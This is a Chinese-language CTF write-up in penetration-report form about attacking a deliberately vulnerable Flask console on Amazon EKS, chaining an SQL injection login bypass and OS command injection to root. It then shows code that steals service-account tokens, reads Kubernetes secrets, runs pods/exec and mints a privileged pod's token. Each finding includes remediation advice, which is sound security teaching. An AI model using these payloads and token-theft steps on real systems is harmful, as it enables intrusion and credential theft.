Abdelrahman-El-Maghraby/Thndr-Security-CTF-Writeup

# Thndr Security CTF — 渗透测试报告     针对 **Thndr 内部 Operator Console** 的全链路攻击性安全评估，展示了从未经身份验证的 Web 登录到**以 root 身份执行远程代码**，并深入托管它的 Amazon EKS 集群的 **Kubernetes 控制平面与数据平面**的完整攻击路径。本次评估是作为有时间限制的实习安全评估进行的。 ## 目录 - [评估概要](#engagement-summary) - [范围与方法论](#scope--methodology) - [执行摘要](#executive-summary) - [攻击链](#attack-chain) - [工具与 MITRE ATT&CK 映射](#tooling--mitre-attck-mapping) - [信息侦察](#reconnaissance) - [漏洞发现](#findings) - [F1 — SQL 注入（身份验证绕过）](#f1--sql-injection-authentication-bypass) - [F2 — OS 命令注入（以 root 身份执行 RCE）](#f2--os-command-injection-rce-as-root) - [F3 — 通过 Service-Account Token 读取 Kubernetes Secret](#f3--kubernetes-secret-read-via-service-account-token) - [F4 — Kubernetes Pod Exec（横向移动）](#f4--kubernetes-pod-exec-lateral-movement) - [F5 — 提权至 `flag-keeper`（部分成功）](#f5--privilege-escalation-to-flag-keeper-partial) - [修复优先级](#remediation-priorities) - [经验教训与强化建议](#lessons-learned--hardening-recommendations) - [附录 A — 捕获的 Flag](#appendix-a--captured-flags) - [附录 B — 环境说明](#appendix-b--environment-notes) - [作者](#author) ## 评估概要 | 字段 | 详情 | |-------|--------| | **评估员** | Abdelrahman El-Maghraby | | **评估项目** | Thndr Security CTF — 实习生评估 | | **日期** | 2026年5月24–25日 | | **目标** | `https://play.thndr-ctf.app/` (Operator Console) | | **平台** | Amazon EKS (`eu-central-1`) | | **Namespace** | `[REDACTED]`（限定于候选人范围） | | **结果** | 捕获了 5 个 flag 中的 4 个；演示了完整的 RCE → Kubernetes 数据平面被攻陷 | ## 范围与方法论 **评估范围内。** 位于 `https://play.thndr-ctf.app/` 的单一 Web 应用程序、限定于候选人范围内的 namespace 中的工作负载，以及在评估期间使用所获凭据可从受感染工作负载访问的集群内任何资源。 **评估范围外。** Cloudflare Access 身份层、其他租户/namespace、EKS 控制平面本身以及底层 AWS 账户。 **方法。** 测试遵循与 **PTES**（渗透测试执行标准）和 **OWASP 测试指南**保持一致的黑盒、链式利用方法论，并将 Kubernetes 特定步骤映射到 **MITRE ATT&CK for Containers**： 1. **信息侦察** — 枚举端点，识别架构指纹，确定信任边界。 2. **漏洞利用** — 以最小化的概念验证确认并武器化每个漏洞。 3. **后渗透** — 利用每个立足点进行枚举和枢纽转移（service-account token、RBAC、Kubernetes API）。 4. **影响分析与修复** — 评估每个漏洞的影响范围，并确定优先修复方案。 下方的每个漏洞发现都附有 **CVSS v3.1** 基础分数和 **CWE** 分类的评级。 ## 执行摘要 Operator Console 暴露了一系列漏洞，使得攻击者能够从公开的登录页面一路深入到托管该应用的集群的 Kubernetes 数据平面。应用层存在典型的、高危的 Web 漏洞（SQL 注入和 OS 命令注入）可供利用，由此产生的立足点继承了一个**权限过高的 Kubernetes service account**，将单个 Pod 的沦陷转变为跨 Pod 和控制平面的访问。 四条漏洞利用路径（F1–F4）已得到完全确认，一条（F5）部分完成 —— 提权**原语**已得到证明（一个在更高权限身份下运行的 Pod 被允许准入），但在评估时间窗口内未触达最终的下游资源。 | # | 漏洞发现 | CWE | CVSS v3.1 | 严重性 | 状态 | |---|---------|-----|:---------:|:--------:|:------:| | **F1** | SQL 注入 — 身份验证绕过 | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) | 9.1 | 🔴 Critical | ✅ 已捕获 | | **F2** | OS 命令注入 — 以 root 身份执行 RCE | [CWE-78](https://cwe.mitre.org/data/definitions/78.html) | 9.9 | 🔴 Critical | ✅ 已捕获 | | **F3** | 通过 SA token 读取 Kubernetes secret (RBAC) | [CWE-732](https://cwe.mitre.org/data/definitions/732.html) | 7.7 | 🟠 High | ✅ 已捕获 | | **F4** | Kubernetes `pods/exec` 横向移动 | [CWE-269](https://cwe.mitre.org/data/definitions/269.html) | 8.0 | 🟠 High | ✅ 已捕获 | | **F5** | 提权至 `flag-keeper` SA | [CWE-269](https://cwe.mitre.org/data/definitions/269.html) | 8.7 | 🟠 High | ⚠️ 部分完成 | **根本原因：** 未参数化的 SQL、在用户输入上使用 `shell=True`、以 **UID 0** 身份运行的容器，以及被授予远超其所需权限的 Kubernetes service accounts（`automountServiceAccountToken`、secret 读取、`pods/exec`、`pods/log` 以及 `create pods`）。仅需一个限定 namespace 的 NetworkPolicy 拒绝对 API server 的出站流量，本身即可中和 F3、F4 和 F5。 ## 攻击链 ``` flowchart TD A["Public login page
(behind Cloudflare Access)"] A -->|"F1 · SQL injection
CWE-89 — auth bypass"| B["Authenticated as admin / operator"] B -->|"F2 · OS command injection
CWE-78 — RCE as root"| C["Shell inside Pod-A (UID 0)"] C -->|"read auto-mounted SA token"| D["pod-a-sa token"] D -->|"F3 · RBAC secret read
CWE-732"| E["Secret 'flag3' exfiltrated"] D -->|"F4 · pods/exec to Pod-B
WebSocket SPDY stream"| F["Command exec in Pod-B
→ pod-b-sa token"] F -->|"F5 · create Pod as flag-keeper SA
+ read pods/log"| G["flag-keeper SA token
(partial — downstream 403)"] classDef crit fill:#7f1d1d,stroke:#ef4444,color:#fff; classDef high fill:#7c2d12,stroke:#f59e0b,color:#fff; class B,C crit; class E,F,G high; ``` 该攻击链是**累积式**的：F1 产生一个会话，F2 将该会话转化为 root 代码执行，而每一个 Kubernetes 相关的漏洞发现（F3–F5）都是由 F2 的 shell 从 Pod 文件系统中读取到的 service-account token 所促成的。 ## 工具与 MITRE ATT&CK 映射 **工具与技术。** 使用浏览器 + 拦截代理处理 Web 层；被攻陷的 `/diag` 端点作为通用 shell；Python 标准库（`urllib`、`ssl`、`base64`、`json`）用于原生 Kubernetes API 调用；`websockets` 库用于基于 SPDY 的 exec 通道；以及 Kubernetes 原生原语（`SelfSubjectRulesReview`、service-account token 文件、针对 API server 的原生 REST 调用）用于枚举和枢纽转移 —— Pod 内并没有 `kubectl`。 | 漏洞发现 | 战术 | 技术 | |---------|--------|-----------| | F1 | 初始访问 | [T1190](https://attack.mitre.org/techniques/T1190/) — 利用面向公众的应用程序 | | F2 | 执行 | [T1190](https://attack.mitre.org/techniques/T1190/) + [T1059.004](https://attack.mitre.org/techniques/T1059/004/) — 命令与脚本解释器: Unix Shell | | F3 | 凭据访问 / 发现 | [T1552.001](https://attack.mitre.org/techniques/T1552/001/) — 文件中的凭据 · [T1613](https://attack.mitre.org/techniques/T1613/) — 容器与资源发现 | | F4 | 横向移动 | [T1609](https://attack.mitre.org/techniques/T1609/) — 容器管理命令 (`pods/exec`) | | F5 | 权限提升 | [T1610](https://attack.mitre.org/techniques/T1610/) — 部署容器 · [T1528](https://attack.mitre.org/techniques/T1528/) — 窃取应用程序访问 token | ## 信息侦察 目标由 **Cloudflare Access**（电子邮件 OTP 身份验证）作为前端。通过 Cloudflare Access 身份验证后，该应用程序暴露了： | 端点 | 用途 | |----------|---------| | `/` | Operator Console 落地页 | | `/login` | 登录表单（用户名 + 密码） | | `/healthz` | 存活探针 | | `/dashboard` | 登录后控制台 | | `/diag?host=` | 登录后网络诊断工具 | 服务器指纹：`internal-console@dev-7c1a`、`gunicorn 22.0.0`，一个被识别为**“Pod-A: Thndr Internal — Operator Console”**的 Flask 应用程序。登录页面上预先填写的提示（`' OR '1'='1`）是身份验证层存在故意漏洞的第一个信号。 ## 漏洞发现 ### F1 — SQL 注入（身份验证绕过） **概要。** `/login` 端点通过字符串拼接构建其 SQL 查询，允许攻击者注释掉密码校验并在无需凭据的情况下以 `admin` 身份进行身份验证。 **严重性。** 🔴 **Critical** · CVSS v3.1 **9.1** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`) · **CWE-89** **漏洞。** 用户输入直接拼接到 SQLite 查询中，没有进行参数化处理（RCE 后从 `/app/app.py` 确认了源码）： ``` q = ("SELECT id, username, role FROM users " f"WHERE username = '{u}' AND password = '{p}'") cur = _db.execute(q) ``` **漏洞利用。** ``` username = admin'-- password = anything ``` 查询变为： ``` SELECT id, username, role FROM users WHERE username = 'admin'--' AND password = 'anything' ``` `--` 注释去除了密码判定条件，返回了 `admin` 行并建立了一个有效的操作员会话。 **证据。** 以 `admin`（角色 `operator`）身份通过身份验证；控制台横幅渲染了 F1 token：*“Session welcome. Operator token issued: `[REDACTED]`。”* **影响。** 完全绕过身份验证 —— 任何到达登录页面的攻击者都能获得一个经过身份验证的操作员会话以及整个登录后的攻击面（包括 F2）。 **修复建议。** - 使用参数化查询：`_db.execute("... WHERE username = ? AND password = ?", (u, p))`。 - 存储密码哈希值 (bcrypt/argon2)；绝不使用明文。 - 添加服务端速率限制和账户锁定机制。 - 将身份验证委托给现有的 Cloudflare Access 身份，而不是重新实现登录表单。 ### F2 — OS 命令注入（以 root 身份执行 RCE） **概要。** `/diag?host=` 工具将用户输入传递给带有 `shell=True` 的 shell，从而在 Pod 内部产生以 **root** 身份执行的任意命令。 **严重性。** 🔴 **Critical** · CVSS v3.1 **9.9** (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`) · **CWE-78** **漏洞。** `host` 参数被插值到 shell 字符串中；该容器同时以 **UID 0** 身份运行： ``` host = request.args.get("host", "").strip() cmd = f"ping -c 1 -W 1 {host}" r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=4) ``` **漏洞利用。** ``` 127.0.0.1; cat /app/flag2.jwt ``` `ping` 对环回地址完成测试，随后注入的命令在同一 shell 上下文中运行并返回 flag。 **证据与枢纽转移。** 除了读取 flag 外，`/diag` 通道成为了本次评估剩余阶段的通用 shell： - 读取应用程序源码（`cat /app/app.py`）。 - 读取自动挂载的 service-account 目录（`/var/run/secrets/kubernetes.io/serviceaccount/{token,namespace,ca.crt}`）。 - 枚举 `/proc/1/environ`（泄露 flag 值和服务发现变量）。 - 安装 `websockets`（`pip3 install --break-system-packages websockets`）以供后续的 exec 通道使用。 **影响。** 在 Pod 内部以 root 身份执行未经身份验证的（F1 之后）RCE。影响范围扩展到了可从该 Pod 访问的每个服务 —— 最关键的是 Kubernetes API server —— 将 Web 漏洞攻陷转变为集群访问问题。 **修复建议。** - 绝不要在用户输入时使用 `shell=True`；使用列表形式：`subprocess.run(["ping","-c","1","-W","1", host])`。 - 在调用任何子进程**之前**，严格根据主机名/IP 允许列表验证 `host`。 - 以非 root 的 UID 运行容器，丢弃 Linux capabilities，设置 `readOnlyRootFilesystem: true`。 - 应用 NetworkPolicy，限制站流量仅访问该 Pod 合法需要的资源（Web Pod 不需要访问 API server）。 ### F3 — 通过 Service-Account Token 读取 Kubernetes Secret **概要。** Pod 自动挂载了一个 Kubernetes service-account token，其 RBAC 允许读取 namespace secret，因此 F2 的 shell 可以直接从 API 中读取它。 **严重性。** 🟠 **High** · CVSS v3.1 **7.7** (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`) · **CWE-732** **漏洞。** `automountServiceAccountToken` 已启用，并且 `pod-a-sa` 持有 secret 读取 RBAC。通过 `SelfSubjectRulesReview` 确认的权限： ``` get secrets resourceNames=[flag3] list secrets get,list pods create,get pods/exec resourceNames=[pod-b] ``` **漏洞利用。** ``` token = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip() req = urllib.request.Request( 'https://172.20.0.1/api/v1/namespaces//secrets/flag3', headers={'Authorization': 'Bearer ' + token}) ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE data = json.loads(urllib.request.urlopen(req, context=ctx).read()) flag = base64.b64decode(data['data']['flag3.jwt']).decode() ``` **证据。** 读取了 `flag3` secret 并将其 base64 解码为 F3 token（`[REDACTED]`）。 **影响。** Web 应用程序的沦陷变成了 Kubernetes API 的沦陷。即使是严格受 `resourceNames` 限制的 RBAC，仍然会泄露其限定范围内的 secret。 **修复建议。** - 为任何不调用 API 的 Pod 设置 `automountServiceAccountToken: false` —— Flask 前端从不这样做。 - 如果需要 token，请将 RBAC 限制在绝对最低限度，并避免授予 secret 读取权限。 - 应用 NetworkPolicy 阻止来自应用程序 Pod 的对 API server 的出站流量。 - 启用 etcd 静态加密。 ### F4 — Kubernetes Pod Exec（横向移动） **概要。** 同一个 service account 可以 `exec` 进入第二个 Pod，从而在相邻工作负载中执行命令并访问其挂载的材料。 **严重性。** 🟠 **High** · CVSS v3.1 **8.0** (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`) · **CWE-269** **漏洞。** `pod-a-sa` 持有对 `pods/exec` 的 `create,get` 权限（`resourceNames=[pod-b]`）。`pods/exec` 子资源使用 **SPDY/WebSocket** 流式协议 —— 而不是普通的 HTTPS —— 因此原生的 `urllib` POST 会返回 `400 Bad Request`，这在最初具有误导性。Pod-B 运行 BusyBox `httpd -h /www`，并将 `flag4` ConfigMap 挂载在 `/flag4.jwt`。 **漏洞利用。** 通过带有 SPDY v4 子协议的 WebSocket 连接到 exec 端点： ``` import ssl, websockets, urllib.parse params = urllib.parse.urlencode([ ('command','cat'), ('command','/flag4.jwt'), ('stdin','false'), ('stdout','true'), ('stderr','true'), ('tty','false')]) url = f'wss://172.20.0.1/api/v1/namespaces//pods/pod-b/exec?{params}' # headers={'Authorization': f'Bearer {token}'}, subprotocols=['v4.channel.k8s.io'] # 流分帧：每个帧的第一个字节是通道 ID（1=stdout，2=stderr） ``` **证据。** 剥离每帧的通道字节并解码 stdout 帧得到了 F4 token（`[REDACTED]`）。这里也恢复了 `pod-b-sa` token，供 F5 使用。 **影响。** 在 namespace 内部进行跨 Pod 横向移动，且不需要 Pod 到 Pod 的网络连接。`pods/exec` 实际上就是一个远程 shell，其授权**完全**由 RBAC 控制。 **修复建议。** - 将 `pods/exec` 视为对目标 Pod 等同于 `cluster-admin` 的权限 —— 仅将其授予紧急 Break-Glass 角色，绝不授予工作负载 service accounts。 - 当自动化需要跨 Pod 访问时，请使用严格限定范围的 Service/API，而不是 `pods/exec`。 - 将敏感材料存储为 Secret（静态加密）或使用外部密钥管理器 —— 而不是 ConfigMaps。 ### F5 — 提权至 `flag-keeper`（部分成功） **概要。** `pod-b-sa` token 可以在 namespace 范围内 `create pods` 并读取 `pods/log`。预期的提权方式 —— 以更高权限的 `flag-keeper` service account 身份运行 Pod 并从 Pod 日志中读取其 token —— 已作为原语得到证明，但未能完成对最终资源的操作。 **严重性。** 🟠 **High** · CVSS v3.1 **8.7** (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) · **CWE-269** · ⚠️ **部分完成** **漏洞。** `pod-b-sa`（通过 F4 恢复）持有： ``` get,list pods,serviceaccounts,configmaps get pods/log create,delete pods ``` 第四个名为 `flag-keeper` 的 service account 存在，没有绑定的 Pod、没有 secret，也没有 IRSA 注解 —— 它的名字强烈暗示它持有 F5 的材料。*“在任意 service account 下创建 Pod”* + *“读取该 Pod 的日志”* 的组合是教科书式的 token 铸造提权。 **漏洞利用（原语已确认）。** 使用以下 spec 创建的 Pod 被**允许准入**并以 `flag-keeper` 身份运行。唯一的限制是 namespace 的 `ResourceQuota`（`candidate-quota`），它要求设置 CPU/内存限制 —— 一旦添加，创建请求即被接受： ``` apiVersion: v1 kind: Pod metadata: { name: fkp2 } spec: serviceAccountName: flag-keeper restartPolicy: Never containers: - name: r image: busybox command: ["sh","-c","cat /var/run/secrets/kubernetes.io/serviceaccount/token; sleep 3600"] resources: limits: { cpu: 100m, memory: 64Mi } requests: { cpu: 50m, memory: 32Mi } ``` **预期的最终步骤（未完成）。** 等待 `fkp2` 达到 `Running` 状态，通过 `pods/log`（由 `pod-b-sa` 持有）读取其日志以提取 `flag-keeper` token，然后以 `flag-keeper` 身份调用 API 读取 F5 资源。 **未完成的原因。** `/diag` 端点强制执行 **4 秒**的 `subprocess.run` 超时。完整的 *创建 → 等待就绪 → 获取日志* 链超过了这个时间，迫使我们必须将其拆分为多个短请求，并将中间状态保存在 `/tmp` 中。这种分阶段的版本在评估窗口的最后阶段才完成开发，未能及时完成。使用 `flag-keeper` token 进行的定向 `SelfSubjectRulesReview` 和直接读取返回了 `403`，并且 namespace 枚举被拒绝 —— 这表明最终资源被限定在另一个不同的 namespace，或者被不会出现在每个 namespace 规则审查中的 `resourceNames` 所限制。 **影响。** 演示了租户级别的权限提升：能够以任意的、更高权限的身份运行工作负载，并通过日志收集其 token —— 这是最具破坏性的 Kubernetes RBAC 配置错误之一。 **修复建议。** - 用强制固定 PodSpec 的控制器/Job 模式替换宽松的 `create pods`。 - 添加 `ValidatingAdmissionPolicy`，拒绝 `serviceAccountName` 不在允许列表中的 Pod。 - 将 `pods/log` 限制为仅限操作员角色 —— 日志经常泄露 token（本项发现准确地证明了这一点）。 - 在 `RequestResponse` 级别对 `secrets`、`pods/exec`、`pods/log` 和 `TokenRequest` 进行审计日志记录，并对任何非控制实体主体发出警报。 ## 修复优先级 | 优先级 | 行动 | 关闭漏洞 | |:--------:|--------|--------| | **P0** | 对所有 SQL 进行参数化；移除 `shell=True` 并验证 `/diag` 输入 | F1, F2 | | **P0** | NetworkPolicy 拒绝来自应用程序 Pod 对 API server (`172.20.0.1`) 的出站流量 | F3, F4, F5 | | **P1** | `automountServiceAccountToken: false`；从工作负载 SA 中剥离 `secrets`/`pods/exec`/`pods/log`/`create pods` 权限 | F3, F4, F5 | | **P1** | 以非 root 身份运行容器，丢弃 capabilities，`readOnlyRootFilesystem: true` | F2 | | **P2** | 为 `serviceAccountName` 设置 `ValidatingAdmissionPolicy`；将 secret 从 ConfigMaps 中移出；加密 etcd；启用审计日志记录与报警 | F4, F5, 检测 | ## 经验教训与强化建议 **应用层。** 对每个查询进行参数化；绝不要将外部输入传递给 shell；在内部工具前部署 WAF；并以对待公开端点同样的怀疑态度对待像 `/diag` 这样的*内部*工具 —— 内部暴露并不等于安全。 **容器与 Pod 层。** 以非 root 的 UID 运行，丢弃所有 Linux capabilities，设置 `readOnlyRootFilesystem: true` 和严格的 `seccompProfile`，并在不需要 API 的地方禁用 service-account token 自动挂载。 **Kubernetes RBAC。** 审计每个工作负载的 `RoleBinding`：永远不要将 `pods/exec` 授予工作负载 SA；对 `secrets` 的读取应限定在 `resourceNames` 范围内且仅限控制器使用；`pods/log` 属于敏感资源，因为日志会泄露 token；并且应该用强制固定 PodSpec 的控制器/Job 模式替换 `create pods`。 **网络。** 一个限定 namespace 的 NetworkPolicy，如果拒绝向 API server 的出站流量，本来可以切断 F3–F5；拒绝 Pod 到 Pod 的流量将进一步强化 F4。 **Secrets。** 将 flag 式材料从 ConfigMaps（明文的 etcd 值）移至 Secrets 中，或者更理想的是，使用外部管理器（AWS Secrets Manager / HashiCorp Vault）并通过短期的 OIDC 交换凭据进行访问；启用 etcd 静态加密。 **可观测性。** 针对 `secrets`、`pods/exec`、`pods/log` 和 `TokenRequest` 在 `RequestResponse` 级别启用 Kubernetes 审计日志记录；本报告中的每一个操作都会产生明显异常的审计追踪。对任何执行 `pods/exec` 或 `TokenRequest` 的非控制器主体发出警报。 ## 附录 A — 捕获的 Flag 四个被捕获的 flag token（EdDSA 签名的 JWTs）已从这份公开的报告中**涂黑**；它们已通过官方评估通道完整提交。 ``` F1 = [REDACTED] F2 = [REDACTED] F3 = [REDACTED] F4 = [REDACTED] F5 = [REDACTED — partial; primitive demonstrated, final token not retrieved] ``` ## 附录 B — 环境说明 | 项目 | 值 | |------|-------| | 集群 | Amazon EKS，区域 `eu-central-1` | | OIDC 签发者 | `[REDACTED]` | | Namespace | `[REDACTED]`（限定于候选人范围） | | ResourceQuota | `candidate-quota`（要求每个容器设置 `limits.cpu` / `limits.memory`） | | 观察到的 ServiceAccounts | `default`, `pod-a-sa`, `pod-b-sa`, `flag-keeper` | | 观察到的 ConfigMaps | `flag2`, `flag4`, `kube-root-ca.crt` | | 观察到的 Secrets（对 `pod-a-sa` 可见） | `flag3` | ## 作者 **Abdelrahman El-Maghraby** — 网络安全 / 攻击性安全 [GitHub](https://github.com/Abdelrahman-El-Maghraby) · [LinkedIn](https://www.linkedin.com/in/abdelrahman-el-maghraby/)

标签：CISA项目, StruQ, 子域名突变, 安全报告, 逆向工具